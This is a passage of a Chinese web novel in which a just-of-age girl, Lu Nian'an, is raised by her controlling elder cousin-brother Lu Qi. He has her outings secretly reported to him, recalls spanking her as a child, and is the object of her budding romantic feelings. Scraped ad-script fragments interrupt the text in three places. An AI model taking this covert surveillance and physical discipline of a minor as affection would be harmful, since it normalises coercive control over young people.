陆祈自然有更多的考虑,他念她年纪小又正在气头上,只冷声道:“陆念安,下不为例。” 轻轻地一句话便将陆念安所有辩解打了回去,她呼出一口气的同时,心口却莫名有些空,只好“嗯”了声。 兄妹俩的身影被高树笼罩着,有种别样的美感。 这算是和好了吧? 在一旁等他们说完话的秋菊歪头,记忆回来了些,她依稀记得以往也是这样,毕竟一家人没有隔夜仇,饭都吃了就该和好了才对。 但陆念安可不这么觉得。 哥哥果然和她不亲了。 没几日冷气散去,上京的冬是漫长的,京城的贵女们熬过乏味的冬,都纷纷办起了春日宴。 春暖花开的天气,陆念安终于外出,被家姐邀去了天香局。 其实她同陆家的亲戚们并不相熟,也没什么朋友。 同陆子诺相识是在一次家宴上,她主动上前,她说她只有弟弟没有妹妹,问陆念安想不想当她妹妹。 陆念安当然拒绝了,但不妨碍陆子诺明里暗里的再来找她,一来一去,两个人到是相熟。 陆念安虽没同意,但也会和家姐说一些小烦恼,来弥补她差一个妹妹的遗憾。 两人要了一个包厢,很快有小二将茶水端上来,陆念安喝着茶,就把前几天发生的事情同她说了一遍。 陆子诺听完沉默了阵:“你是犯贱吧?” 陆念安忙解释:“不是的……是我这次真的很过分。” “你说。” “我踢了他。” 倒也没想到她还敢踢人,陆子诺手一抖,滚烫的茶水直烫嘴皮,她忙吐出来,感叹:“我们说不怕大哥是假的,没想到你是真不怕啊?” 陆家共有四房,在还未分家以前,也是一大家子住一个宅子,四房里小辈不少,难免嘈杂了些。 但这些嘈杂在见到大哥的那一刻,都迅速化为平静。 他们在私底下给陆祁取了一个很难听的外号——小老辈。 “是啊,”这时陆念安揉揉眼睛掩饰失落:“还踩了他。” “……”陆子诺勉强找回自己的声音:“那你怎么踢你哥的。” “就这样啊。”陆念安用脚尖去碰家姐的裙摆,因为怕不小心真的碰到,所以力度放的更轻。 “算了你这力度你也别想太多,”陆子诺站起身:“再说了兄妹俩长大以后不亲了不是很正常吗?等你以后有嫂子就更生疏了。” 她也是咋呼地性子,有什么话都直往外说,声音洪亮。 陆念安能听清她说得每一个字,简直整耳欲聋,她只好低头喝茶掩饰失落:“不会的,哥哥答应过我。” 她声音小,很轻的一声嘟囔,陆子诺没听清:“你说什么?什么不会?” “没说什么……”陆念安又不敢再说了,情绪明显低落。 “又难过什么呢?”陆子诺突然有些理解大哥了,看来想养好一个妹妹确实要费些心思。 “跟着我怎么能让你难过呢?”陆子诺干脆丢了茶杯站起身,她凑过去左手搭在陆念安肩上:“今天姐要让你体会一下,当我妹妹有多快乐,保证从今往后你和我最亲忘了哥哥。” 陆念安半信半疑。 用完饭两人沿着楼梯往下走,陆子诺有心带她逛一逛,直接领她去了茶楼。 陆念安懵懵懂懂:“不是刚喝完茶吗?” “你还小你不懂。” 茶楼当然不是普通的茶楼,景国民风开放,富家子弟既能养妓,贵女们自也能养小官,便衍生出专门的茶楼来,一楼赏小官,二楼喝茶。 陆念安当然也不知道这些,她只是信任地跟着家姐乱走。 直到她们在一栋精致的楼前停下,陆念安看着 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 正在门口招揽客人的小二,隐约察觉到什么不对劲。 还没等她细想,右手腕被人抓住,陆念安被迫跟上家姐的步伐往前走。 进楼以后她才察觉到这是一个她从未涉足过的地方。 房梁上的雕花繁复,几抹红色挂在高处,这地方两步一一层纱,笑谈声和琴声交杂,陆念安觉得混乱极了,推开白纱往前看。 室内还搭着高台,几个男子穿着清透外衫,正在高台之上随乐翩翩起舞。 其中一个瞧见了她们,一边对她们眨眼睛一边走来。 陆念安便犹如被雷劈了一般愣在原地。 “进屋啊念念,”陆子诺扯了扯她没扯动,转过头面露疑惑:“我记得你最喜欢听琴了,今日我来出银子,你敞开了听,点几个都行。” “不不不不不不……”突然就意识到这是什么地方,陆念安忙摆手不知道说了几个不字。 她平时力气不大,这会儿到是攒足了劲儿往外走,连陆子诺都被她拉了出去。 终于回到室外,那股子脂粉香也随之淡去,陆念安呼出口气,还有些后怕。 “你都及笄了还怕什么?”陆子诺很快瞧出她的不对劲,追着又问道:“大哥还管你去不去茶楼?咱又不做什么。” “可能?”兄长虽然从没说过,但陆念安隐约觉得他会生气,想了想,她皱着鼻尖说出了另一个原因:“主要是他们长的很吓人,也不好看。” 身后茶楼的牌匾上写着远清居三字,取名雅致,这的确也是整个上京最清雅的一间茶楼,脂粉气已经算浅淡了,小官们个个身怀才艺,相貌也皆是顶尖。 头牌更是一手好琴艺轰动上京。 陆子诺为了一听琴声,提前了半月才约到人。 她哪曾料到小妹会嫌弃,此刻止步,回忆起方才跳舞的那几个小官,却没觉得有哪里难看了。 是薄如禅羽的外衫不好看,还时撩开外袍时扭动的身姿不好看? “……” “就是不好看。”陆念安虽然声音小,但非常坚持,只是在家姐追问起她是不是见过更好的时,她脸颊微红,摇头说没有。 她刚及笄不久,双颊边还带着些婴儿肥,一双眼仍旧亮晶晶,羞涩着摇头说没有时,没有人会不相信。 “行吧,”陆子诺觉得自己是问了句废话:“你哥管你管你的这么严,料你也不敢胡来。” 实际上,陆念安到现在都还没忘了那一幕—— 她想,他们本可以亲密无间的,就像那时,她可以随时随地任何时间去哥哥房间里躺着。 不用顾忌任何人,包括……哥哥。 六月底的炽夏,陆念安跑去北院,夏日里闷透了,她用冰太多生了场小病。 病才刚好,陆念安便从丫鬟口中得知冰块要被断掉,她看着自己小小的手,莫名有些委屈。 丁点大的人,生完病走路都不够顺畅,睁开眼就开始找哥哥,满院子里乱走,用小小的手将一扇门又一扇地门推开。 她那时到底还懵懂,不明白有些屋子的门是不能随意推开的,于是在听见水声淅沥后,就一个转身,踉跄着走过去,扒拉开最里间的门。 谁料陆祁正在沐浴,脊背随意地搭在浴池边沿。 那时陆念安还不知道什么是腰腹,只惊讶看起来清瘦的哥哥拖下衣服后“胖”了些。 潮湿闷热的浴室,水珠覆在哥哥手臂鼓起的青筋上,转瞬即逝留下浅淡的痕迹。 她眨眨眼,还想细看,便被人用厚实的外衫罩住。 视线变得模糊,陆念安不满,想要将罩在头上的布料扔掉,没等她有动作,整个人却被一只大手拎起。 陆祁颇有些苦恼地看着手中这个小小东西。 小东西腾空后却变得更加不满,手脚并用扑腾着,脚直直踢在男子腰腹的位置。 陆念安听见哥哥很轻的“嘶”了声,懵懂地收回脚。 “哥哥,很,疼,吗?”她那时还不太会说话,除了叫哥哥时能连上,其余的字都需要一个一个往外蹦。 “不能乱踢啊好妹妹,”陆祁无奈叹气:“第几次了?” 他拎着人丢出去,难得恶劣道:“再不敲门打断腿。” 5. 第 5 章 临到散衙的时间,天空稍暗淡了些,两个侍卫听见敲锣声,将宫门推开。 今年是个雨年,才刚刚开春,南边便已经发了几次大水,长日不断的雨水冲坏了河堤,淹没了好几个村,奏折都是成堆的往宫中送。 接连几日宫外都停着许多马车,都是被圣上叫来商议和出注意的臣子。 户部尚书之子陈意往外走,将每辆马车都打量了遍,他很快定下目标,便朝角落里的那辆马车走去。 “诶——”原本缓慢的步调变得匆忙起来,陈意往前跑:“陆兄,陆兄你等等我。” 车夫是知道他是尚书之子的,今日宫宴圣上礼邀了不少大臣,他大概也是跟着他爹一同来的,只是不知为何,竟一人落了单。 车夫便有些为难地放慢速度,陈意顺杆子爬上去,拉开车帘往里钻。 车内比想象中还要整洁,柔软的地毯铺在脚下,中间摆着几案。 这还是陈意第一次借坐陆祁的马车,格局到比旁的大人讲究些,但陈意没什么不好意思的,毕竟以他爹和陆大人的关系,他也就随意坐了。 “陆兄,我爹今日走得太快了,反正也顺路,我等会儿自己下去就成。” “你随意。”陆祁态度平平,话落便做自己的事情去了。 面前几案上用茶杯压着一封信,他抬手将茶杯移开,慢慢悠悠展开信纸。 某种方面来说,陈意是一个很没有边界感的人,不然他爹也不会这般嫌弃他。这会儿听主人家说随意,他到也当真,一点也不避讳地去看那信。 信纸上密密麻麻的字,他扫了眼,陆小姐是谁? 这信有些长,从她几时出门写到几时几时进了哪家店。 他还想继续往下看,信纸却忽得被人叠起来,纸张揉皱的声音很轻,是陆祁将这封信重新压在茶盏下方。 “这谁啊?”陈意顿时有些好奇了:“也姓陆,是陆大人你的哪个亲戚?” “是我妹妹。”陆祁平静地回答他,没多说什么。 “亲妹妹还是表妹?” 陈尚书其实是个稳重性子,陆祁偶然间听人也提起过他的嫡子陈意,今日一相处,感叹原来现在的小孩儿都不是个稳重性子。 陆祁也是养过孩子的人,现如今对着小孩还算有耐心:“亲妹妹。” “哦,”陈意点头,但他没听父亲提起过陆大人还有亲妹妹,“不对啊你哪里来的亲妹妹?陆将军前些年都……” “我养大的,”陆祁侧过头终于给了他个正眼:“还不够亲?” “啧这有什么好嘚瑟的,”陈意撇嘴:“我还能让我娘再生一个真亲的呢。” 陆祁没有再搭理陈意,但他理解这个年纪的孩子确实会吵闹一些。 车内寂静下来,马车却沉入闹市,最后在一栋高楼面前停下。 这是整个上京最大的首饰楼,一共三层,陈意自然也认出,但他没下车。 他方才看了信,此刻便不愿意走人,也想看看信上的人,跃跃欲试:“我爹还没和我说过,你让我看看你妹妹再走。” 陆祁抬眼扫过去:“下车。” “好吧。”陈意倒也没有那么厚脸皮,知道人家要接妹妹后便拉开车帘打算走,他上半身探出去,陆祁便跟在他之后也下了马车。 两人站在街边,下一瞬,一阵裹挟着花香的风掠过,一同而来的是少女银铃般地笑声:“哥哥。” 陆念安穿着鹅黄色长裙跑来,在三月的春天,这颜色实在是亮眼极了。 她是个急性子,跑得太快有些收不住,陆祁不得已扶了下她,便收回手后退一步:“阿念。” “哥哥,我好像忘了和阿姐道别诶。”陆念安想起什么,一回过头,便看见还站在原地,表情有些生气的家姐。 她又跑回去,匆匆忙忙。 这个年纪的孩子,总是有难以消磨掉的精力。 “别说你和你妹妹站一起还挺配。”陈意竟还未走,走上前又同陆祁寒暄。 陆祁不悦地看着他,他不知陈尚书是如何教出了这样的儿子。 “其实我也是开个玩笑嘛,那你觉得我和你妹妹怎么样。” 陆兄这眼神像极了他父亲那个岁数的人,连玩笑话都听不了一点,陈意笑嘻嘻换了一个说法,他指了指自己,又指了指后面的陆念安。 闻言陆祁眉头皱得更深。 他当然不是封建的家长,以后也不会过多干涉幼妹的感情。 只一点,两个不稳重的小孩如何相配? 陆祁回绝掉:“你父亲带你进宫是让你来学习的,明日我会和他谈一谈。” 陈意:“……” 这也不必去告状吧? 气温回暖,连街角都比平日里热闹,陆念安同家姐认真道别后上了马车,室内铺着毯子,她踩在上面,觉得很柔软。 “方才那人是哥哥朋友吗?” 马车往前,车内有轻微的晃动,陆念安肩膀微颤着,在后知后觉想起还有一个人时,她抬眸望向兄长的神色有些懊恼。 “我好像忘了和他打招呼。” 陆祈将车帘拉开透气,一边回答她:“不是。” 他言辞简洁,触在帘上的指骨骨节分明,拉开帘的同时,未往外看一眼,就像他也从不为多余的人做解释。 “哦。”陆念安心里好受了些。 很快经过一个转角,她并未把这件事放在心上,转过头饶有兴趣地往外看着,闹市的街边,有叫喊着买冰糖葫芦的行商,有固定在一边小贩,有些桌上摆着团扇,有些桌上摆着一连串的花灯,竹条撑起薄纸,花灯被做成了各式形状。 陆念安喜欢看这些,哥哥也亲手给她做过花灯。 “今日去赏了什么花?” 正看着花灯,耳边冷不丁的落下这句话,她一愣有些迷茫。 她赏了什么花?她今天有赏花吗? 抬眸对上兄长平静的神色,陆念安忽然意识到,昨晚家姐递过来的信函上是写着“赏花”来着。 春日的街上,时常能看见粉色落了满地,于是陆念安说:“桃花。” 陆祈不再说什么,沉沉看了她一眼,收回目光。 马车内忽得只剩沉静,气氛微妙,陆念安未曾察觉到,甚至兴奋地指着外面:“哥哥我们买点糕点带回去好不好。” 没听到回应,她转过头看兄长,又唤他:“哥哥?” 那人却不说话,半响后,点了点头。 马车停靠南街角边上,这家点心铺坐落在巷子的最深处,这显然不是一个显眼的位置,还好有些铺子它并不需要,因为只靠老顾客便能将生意做上几十年。 散衙的时段正是日落时,人影逐渐退散,在上京叫卖的行商有多数都要回村,守店的小二坐在长凳上,也正打着瞌睡。 他打算卖完最后一些就将铺子关上。 迷糊中瞥见两个身影,其中一个开口,声音轻轻柔柔的:“你好,我要一些桃花饼可以吗?” 店小二瞌睡散去,起身往一边走,守了一天店他有些疲倦,瞥见托盘上盛着的几块鲜花饼,他开口:“这位女郎,今日余下六块。” “劳烦都装起来吧。”陆念安对他微笑。 “好嘞。”店小二听见这句话打起些精神,一手撑开油纸,包住余下的桃花饼,又利落地系上麻绳,捆成四四方方的模样要递给陆念安。 陆念安抬起手,指尖触上油纸包时,身后传来道清亮的女声:“掌柜的,我来取桃花饼。” 梳着双丫髻的小丫头拿着油纸伞进屋,雨水睡着往下滴落,她抖了抖伞,解释:“今早便让你帮我留着 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的,我家小姐还等着呢。” 于是店小二看看手里的油纸包,又看看面前的几人,彻底清醒了,精神了。 方才眯起来的眼睛此刻瞪得老大,店小二犹豫了下,试探性看向陆念安:“这位女郎,您看是不是……” “没事的。”陆念安清楚先来后到的道理,她收回手,看着店小二将油纸包递给一旁的人。 那丫头应是哪家的下人,拿了东西便小跑出门,余下的陆念安看着她离开,虽有些遗憾但并未难过:“那哥哥我们回家吧。” 两人一前一后走到檐下,不过才一会儿,竟下起小雨来,连绵的雨丝落在石板巷上,陆念安抬眸望着天,只觉得这天气说变就变。 好在马车内备着油纸伞,车夫将伞过来,陆祈接过,抬手将伞撑开。 “阿念,过来。” 他平静唤她,话音刚落,陆念安钻入伞下,和兄长共用一把伞在雨中行走。 水汽像雾,弥漫开来,将整座小城都盖住。 因为怕冷,陆念安忍不住瑟缩,不由得再往右侧的方向靠,直到肩侧紧紧贴着哥哥手臂。 陆祁叹气,但还下着大雨,他到底是没有说她。 马车就在前方,穿过水雾视线变得清晰,一位撑着碧绿色油纸伞的姑娘停在此处,她身影窈窕,黛眉红唇,穿红衣,往前方看。 陆念安也看见了她,下一秒,她又看清那女子捧在手中的油纸包。 红衣女子主动朝他们走近,没几步以后却克制地停下,这是一个很有礼貌地距离。 她笑了笑,语气温顺:“这位妹妹,方才听我家丫头说,妹妹你特意过来却白跑一趟,我想了想,这桃花饼还是让给妹妹你,我比妹妹你要大些许多,理应多照顾照顾你。” 陆念安被这几话砸得一俩懵,她莫名其妙不敢收别人的礼,可又不知道怎么拒绝,下意识侧过头看陆祈。 他是她最信任的哥哥,她生活大大小小的事务,都是由哥哥做主。 可这眼巴巴看着人的神色落在陆祈眼中,便是另一番意味了。 顿了下,陆祈朝雨中人看去,红衣女子察觉到他的视线,不由得站直了身子。 林太傅家的孩子,在朝中时,林太傅同他提过两回。 陆祈收回目光,视线转移到他家阿念肩侧,“收着吧。” “哦。”陆念安听话地伸手,将红衣女子递过来的油纸包接过。 “陆公子,”林书意被他的默许鼓励道:“爹爹常和提起你,总让哥哥们同你多学习。” 这话便有自谦的成分了,林太傅为天子师长,在朝四十余年载,是朝中人人都敬重的老师,他家的孩子,何必像旁人学习? 陆祈不紧不慢地将话头抛过:“改日我再同老师问好。” “嗯。” 两人随意寒暄了几句,陆祁便呆着妹妹先离开。 林家的马车就在此处,林书意也上去。 她是今日下了私塾出来透透气的,方才认出陆家的马车停在一旁。 水雾浓厚,她还是撑伞走下马车等待,原是碰碰运气。 隔着很远,一把伞隔开水气,伞下白衣公子稳步走来,抵在伞骨上的一截手腕劲瘦有力,而他身旁那稍矮些的身影应就是她妹妹了。 鹅黄色长裙称得那姑娘像朵小黄花,是极为亮眼的存在。 水汽浮动中,那把伞完全笼罩住她的身影。 他将她妹妹养得极好呢。 其实极少有人知道,陆家大房里那位表小姐才是最特别的存在。 日常起居都是嫡女的标准。 陆祁视她如亲妹妹。 林书意想,等爹爹同圣上提了婚事,等她嫁去了陆家,她也会好好待他妹妹的。 她也会将陆念安当成亲妹妹一样。 6. 第 6 章 回府时,天色稍暗,一场雨而过,整座宅子变得湿漉漉。 他们走过长廊,身后传来细微动静,原是陆念安方才忘了拿糕点,得亏车夫收拾马车时瞧见,便追了过来。 陆念安对他道完谢,这才继续往前。 今夜她尤为沉默,到现在也只说了一句谢谢,此刻跟在兄长身后更是低着头,仿佛一场雨下来,就将她的精气神全部耗尽。 转眼的功夫已经走到长廊尽头,陆家的宅子小而精,一条长路过去,靠右处是北院,靠左处是西院,陆念安只顾着往右边看,竟也忘了同兄长告别。 “阿念,”陆祁叫住幼妹,今夜的语气让人琢磨不清:“你同哥哥过来。” 陆祁将她带到了北院的书房,天色渐晚,推门进屋时室内一片昏暗,他点了灯,才看向站在门口迟迟未进屋的幼妹。 陆念安也抬头不安地看着他。 烛光摇曳,兄长着白衣背光站着,一张脸沉在阴影之间。 这样的表情,让陆念安没由来惶恐。 她指尖紧紧掐在油纸包上,这个原本让她有些郁闷的糕点,在此刻竟然变得可爱起来—— 兄长很少在大晚上邀她来书房。 所以她记得上一次来书房的那个夜晚不太美好。 “哥哥……”陆念安本就心情不好,此刻眨眨眼想随意掐一个理由溜走,一句话还没说完,却看见兄长往自己的方向缓步走来。 他走路稳,缓,视线悠悠落下来,陆念安几乎是立刻,就由衷感受到一种危险。 因为她察觉到兄长正将视线落在她颈间。 兄长很少这般看她的。 意识到这一点以后,陆念安忍不住将头埋得更低,纤细的脖颈随之紧绷住。 几根碎发滑落至脸侧,遮挡住她耳后那颗细小的红痣。 其实她很久没这样紧张过……这莫名其妙的紧张不亚于上次倒药被哥哥发现。 唯一不一样的是,那时她知道自己犯了什么错,可眼下她不明不白。 胡思乱想间陆祁已经走近,他却只是随意地问了一句:“怕什么?” 陆念安摇头。 “阿念,进屋坐。”他又说。 “哦。”陆念安反应过来时,她已经被带到塌前坐下,一左一右的距离。 或许哥哥就是与生自来地压妹妹一头。 她此刻完全被兄长引导着。 “今日撒谎了?” 陆祁不紧不慢地问她,明明是个疑问句,但从他口中说出,就让人答不上来不字。 烛光只将小范围照得明晰,陆念安想起一个夜晚,也是在书房,兄长也这样问她。 而在那以前,陆念安眼中的哥哥都是强大又绝对温柔的,他不会凶她,同她说话时会半蹲下来,会一边摸她头一边问阿念今日开心吗? 这样的温柔伴随了陆念安整个童年。 她在最冷得冬日夜晚玩雪,然后一口气跑到西院,钻进哥哥温暖的被窝。 陆祁下意识将她抱进怀中,用滚烫地胸膛替她回暖。 他叫她阿念,给她说景国的最北边有什么动物,夜晚的星星有多亮。 而回忆里最过分的一次,是陆念安趁着陆祈看书,突然踩在桌上扑腾,然后一不小心就扑到了他头上。 陆念安当时差点吓哭了。 这个时候,她已经隐约长大了些,知道哥哥极爱“净”。 陆祁却没有生气,他放下书,一只手掌掐在幼妹腰上,将她放在自己肩侧。 他问:阿念是不是长高了。 又站起身,说阿念现在比哥哥还高。 陆念安那会儿才多高啊,一下子坐在哥哥头上,失重地感觉使得她极为惶恐。 忽然间门被谁推开,原是青竹端着茶杯进屋,那时陆念安的胆子太小了,小到只是轻轻被人一吓,就哭着闹着说她错了,她紧紧锢着哥哥的脖子。 后来陆祁将她放下时,脖颈间已被妹妹掐出红痕。 他浑然不觉,问她以后还调不调皮。 陆念安哭着说不敢了。 而真正惹哥哥生气,在天气即将转冷的深秋。 北院门前种着大片粉菊,随着天气转凉,粉菊的色泽越来越浓厚。 却没开多久,似乎只是一夜之间,所有的粉菊都枯了。 陆念安也在那一晚,高烧不断,她就像她刚来陆家时那般孱弱,唇是白的,眼睛肿胀睁不开,这样的黑暗,使得陆念安感觉自己几乎要死了。 陆祁去宫里找了太医,太医府的医师连夜赶来,用了药又施了针,好在她只是高烧,这些年又用药养着,没几天终于好了。 那几日,躺在床上的每一个夜晚,陆祈都会陪着她。 所以陆念安下床的第一件事也是去找哥哥。 她应是有了些精神,唇瓣不在苍白,多了些颜色。 然后陆祁就将她叫到了书房,他问她还疼吗? 陆念安摇头说不,那时的她显然还未意识到危险,凑过去撒娇要抱。 陆祁将她推开,一如现在一般笃定:“阿念对哥哥撒谎了。” 可惜陆念安忘了那天的自己是怎么回答的,所以此刻也不知所措,平日里的机灵全部散尽,她低着头不安地搅动手指。 “阿念,”陆祈对她说:“哥哥今日只是和你谈一谈,谈一谈你是否到了自己做决定的年纪。” 陆念安却不会在上他的当。 他总是这样,耐性太足,从不将话说个明白,只要她心甘情愿地自己来说。 到了此刻,陆念安已经隐约能察觉到哥哥再说何事,可不知怎么开口。 ……那茶楼不是她要去的。 “那就慢慢说。”陆祈这样回答他,他抬手,指腹落在幼妹耳侧,只顺手将她散落地碎发拨到耳后,便收回了手。 陆念安见兄长还算有耐心,小心翼翼开口问他:“那我都说给哥哥听,但哥哥若是不高兴可不能打我了。” “我竟何时打过你?” 刑狱司两年,陆祈不行冤枉事,此刻也不喜幼妹来冤枉自己。 “我,”陆念安因为心虚,声音便放得极轻:“就是阿念偷倒药那一次。” 八月底的夜晚,全府上下都在为小小姐的病状担忧,深怕最后怪罪到自己头上。 陆家上 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 下紧张了整整一个礼拜,所有人都在想小小姐是如何了, 只有陆祈注意到了角落里的那些粉菊。 明明是正该盛开得季节,却连着一片都干枯了,花边萎缩在一起。 陆祈抬头,就看见粉菊的上方连着窗户。 她这个好妹妹,竟是一口药也未喝,全倒了干净。 那的确是陆祈第一次对妹妹动手。 疼痛大概会让她长个记性,他这般想着,转过头看她。 幼妹就站他在面前,一边说自己如何倒药一边哭,一边说自己再也不会了一边擦眼泪。 大病初愈,她脸色仍旧苍白,一双盈盈的眸湿润极了,长发搭在肩侧,纤弱的脖颈颤抖。 她说她知道自己错了,抽抽噎噎地模样,低哼着不满。 陆祈眯着眼睛,最后让她转过身趴下。 他还未动手就听见她哭得更惨烈。 他当时在想,怎会有这样娇气的姑娘,轻轻拍一下就算疼了。 确实不疼,因为对陆念安来说,羞耻是远远大于疼痛。 “……” “哥哥对你的好怎就没记住?”他显然也想起来这件事,但没等陆念安回答,便话锋一转:“阿念,哥哥今日也是和你谈这件事。” 在深夜,他白衣染上几分昏暗,此刻看着幼妹的眼神温和耐心,他同她说:“阿念,哥哥知道你已经长大了。” “景国将年芳十五的姑娘称作已经及笄。” “可是阿念,就目前而论,哥哥认为你还没到自己做决定的时刻。” …… “等你自己能做决定的那一刻,便无人能在管你。”陆祈最后这样同她说。 陆念安听完陷入了沉默,她甚至没有去思考哥哥是如何知道的这件事,只是委屈。 因为她从小到大的每个决定都是由哥哥做主的。 如果有一天,所有决定都要她一人来做,陆念安不敢想象那样的日子……她总是不敢想象没有哥哥的日子。 她终于开口,将自己的委屈心甘情愿地说了出来。 她明明当即就走了的…… 泪水吧嗒吧嗒往下流,模糊之间,陆念安隐约瞧见兄长似是站起来。 她不知想起什么,此刻看着他的背影,竟害怕到忘了那些约束。 陆念安匆忙地下了榻,用双手环抱住兄长腰腹:“哥哥阿念都听你的,你别不要阿念。” “怎会不要阿念呢。“ 温柔地教导完妹妹,陆祈扯过她的手,将粘在自己身后的幼妹拉开,半弯下腰给她擦泪:“今日过去,要记住你家姐不是个稳重性子,记住了吗?” “没……”陆念安下意识反驳,话只开了一个头,她换了说法:“可是没人陪阿念玩了。” 这回轮到陆祈陷入沉默了。 南边连日不断的雨水还在继续,现如今不只是沿河的渔庄受难,大水也淹没了庄稼。 他近日都在处理这件事,却是忘了陪她。 而幼妹似乎也过了能被他时刻带在身边的年纪。 陆祈沉吟片刻,问她:“方才遇见的那位姐姐,阿念可喜欢?” 7. 第 7 章 “不喜欢。”陆念安闷声道,话落后转过头,不去看兄长是何表情。 书房内氛围微妙,她本就是娇气的小姑娘,闹脾气时更让人捉摸不定。 所以对上自己这个妹妹时,陆祈总是很容易感到无奈。 “那便不喜欢。”陆祈很少强迫她什么,他只是无奈她的小脾气,但并不会强求她去改变想法。 喜欢本就强求不来。 角落处一张书桌,月光沉沉,笼住桌上的砚台笔枕,兄妹俩各怀心思。 陆念安想起少时第一次提笔取墨,是兄长教她写诚实。 彼时她已经在陆家呆了一年,可性子一点没变,她好像不太会拒绝别人,也不会说不字。 这一年,厨房为了照顾她的口味,时不时给她做一碗阳春面送来,听说下头的丫鬟说,这是她家乡的美食。 雪白的面条用白瓷碗装上,缀些翠绿的葱花提鲜,这是很漂亮的一碗面。 但坏就坏在,陆念安不吃葱。 她忍着不喜,也硬吃了小半年,便以为自己适应了。 直到有一天又发现不适,吃着吃着竟吐了出来,后来的几天仍旧反胃,厨房那边也吓得不清,一连几天都只敢让她喝素粥养胃。 诚实是让她直面于心。 那时陆祈教她写这二字,又告诉她不要试图欺骗自己。 哥哥总是一眼就将她看透。 下过雨的夜晚灌着风,门外的青竹便干脆将门关上,于是月光一并被挡在门外。 陆念安收回目光,仰起头看向兄长:“好吧,其实也没有不喜欢,哥哥要让她陪阿念玩吗?” 陆祈应了一声,只同她说知道了。 他知道什么? 陆念安张唇想问,刚开口却忍不住打了个哈欠。她精力自幼便比不上旁人,今日玩了一天,此刻面容苍白,竟是站都站不稳。 陆祈领着她让她坐下,顺手倒了杯茶给她润嗓子。 哥哥总是一再迁就妹妹的。 此刻夜幕,室内只余下红烛的光芒,塌边立着一扇金丝点翠画屏,屏身用玉雕刻,映着莹润细腻的光泽。 陆念安坐在靠屏风的一边,肌肤白皙,竟比那玉还要惹眼。 此刻她捧起浅口茶杯,小口小口地抿着。 陆祈替她倒完茶,将茶壶放回原位,同她说:“下月初是公主生辰,宫宴应也邀了许多姑娘家,阿念去交几个喜欢的朋友如何?” “哦。”陆念安勉为其难地应了声。 从门缝处钻进几丝风,将点燃的烛灯吹得摇晃,光影明灭,时候已经不早了。 陆祈送妹妹出去,临走前却见她偷偷揉眼睛。 “阿念怎这般黏人,”他失笑,有时也期盼她快些长大:“都及笄了还说两句就哭,这像什么话?” 陆念安性子娇,早些年的确是喜欢落泪的,长大以后收敛了许多。 此刻也只是揉揉眼睛。 可落在兄长眼底又成了哭鼻子,她不太高兴,埋怨道:“那你换个不黏人的妹妹行吗?” 那个林姐姐估计就挺乐意。 * 室内一片明亮,秋菊早已经备好了水和浴桶,只等小姐回来。 等待的间隙,她正摆弄陆念安的寝衣。 这是今天春新到的料子——细,软,滑。 再次以前,秋菊从没触过这般软的料子,刚触碰到时,她想用来制春衣应是极好的。 送去制衣的嬷嬷那儿,那嬷嬷却说这春料太透太软了,只适合做成寝衣,一次性裁了三套送来。 秋菊此刻缓慢将这料子抚平,但凡精贵物件,都需要人小心伺候,娇贵的很。 陆念安这时入了室内,她拖了鞋履,光脚踩在榆木地板上,秋菊便收了衣服去伺候她沐浴。 今日她却说要静一静,只独自呆在室内。 陆念安其实时常觉得心口闷,可能是兄长今夜提起了旁人,这感觉更甚,她总归是不高兴了。 临走前,秋菊见她失落,便走到角落,拿出火折子点燃了熏香,室内弥漫气一股浅淡的药香,是用来安神的。 热气和熏香将陆念安熏得晕晕乎乎,她眯起眼睛,昏昏沉沉的。 只泡了会儿,她套着柔软贴身的寝衣钻进裘被中,忽得想起前日里母亲没说完的话。 陆念安有些明白心口是为何不舒服了。 在她把哥哥只当成哥哥时,一切都很简单。 可经年累月,时事过迁,想法竟悄然改变。 她好像变成一个不太容易满足地姑娘。 陆念安只好压了压心口酸涩,努力让自己睡过去。 雨不知何时又开始往下蔓延,水珠沿着屋檐低落,啪嗒啪嗒——一整夜就这样流逝。 翌日清晨,秋菊端着银盆进屋,她进屋时陆念安还未醒来,秋菊拨开水青色纱幔,唤了她两声,将浇干的帕子递给她擦脸。 陆念安没睁眼,却迷迷糊糊地点头接过手帕。 此刻窗门紧闭,里屋内有些暗,秋菊瞧着她,总觉得她眼睛有些红,还没细看,小姐她却低下了头。 秋菊便不再管她,走到角落将窗户支起来透气,一边道:“小姐今早还是喝粥?” 支起窗户以后,室内瞬间敞亮了,陆念安下了床,她未穿鞋,因着这个坏习惯,闺房内总是铺着地毯。 柔软的狐毛是灰白,陆念安踩在上面,点头应了声好。 她喜甜,早膳总是用点心配上一碗甜粥。 秋菊出门,吩咐厨房那边将提前熬好粥送来,又折了几枝玉兰带回屋中。 室内一个喝粥一个插花,是寻常日子里最温馨的时刻,秋菊将花瓶立在几案上,一边细细叮嘱陆念安:“今日徐老师要来府上,小姐你抽空要将谱子看一看了,免得生疏。” 厨房送来的甜粥粘稠,陆念安百般聊赖地搅动,看见枣仁燕窝粘在一起,心下没由来有些心虚。 就像高门大户里养出来的姑娘,总要有一门拿得出手的才艺,陆念安也不意外,三年前,她众多乐器中选择了琴。 她许久未练琴了。 * 昨夜一场雨而过,清早随处可见手拿扫帚清理落叶的下人,落叶被集中在一起,堆成小山高。 等陆念安用完早膳,整座宅子的落叶已被清扫干净,石板上清澈透亮,微微湿润。 徐老师也到了后院,她是典型的水乡女子,嗓音柔,细,喜穿素净的长袍,今日来陆府时,还给陆念安带了一把新琴。 琴身是用极细腻的紫木而制,上了层漆以后,在日光下竟泛着浅浅的紫色光芒。 徐怀柔仔细调整好琴弦,这才将陆念安带到琴旁,她拉开圈椅,温柔地唤着她:“念念来试试新琴。” 这是陆念安学琴的第三年,可她实在没什么天赋。 此刻揉了揉额,大抵是昨日没睡好,她头仍旧晕乎,也没细看这琴。 耳边传来老师的鼓励,陆念安也是个期盼被老师夸奖的小姑娘,只好强打起精神,指尖触上琴弦往外勾。 她没怎么用力,弹出来的音调便也显得无力,简直松散到难听的地步。 陆念安皱起眉不解,用指尖再去勾那琴弦,她这回用了些力气,琴音未落下,视线却猛然一黑。 彻底昏迷以前,陆念安觉得自己听见了琴弦的断裂声,还有老师唤了她几声“念念”。 练琴的地方是一处露天庭院,寂静雅致,唯一的缺点是有些偏了。 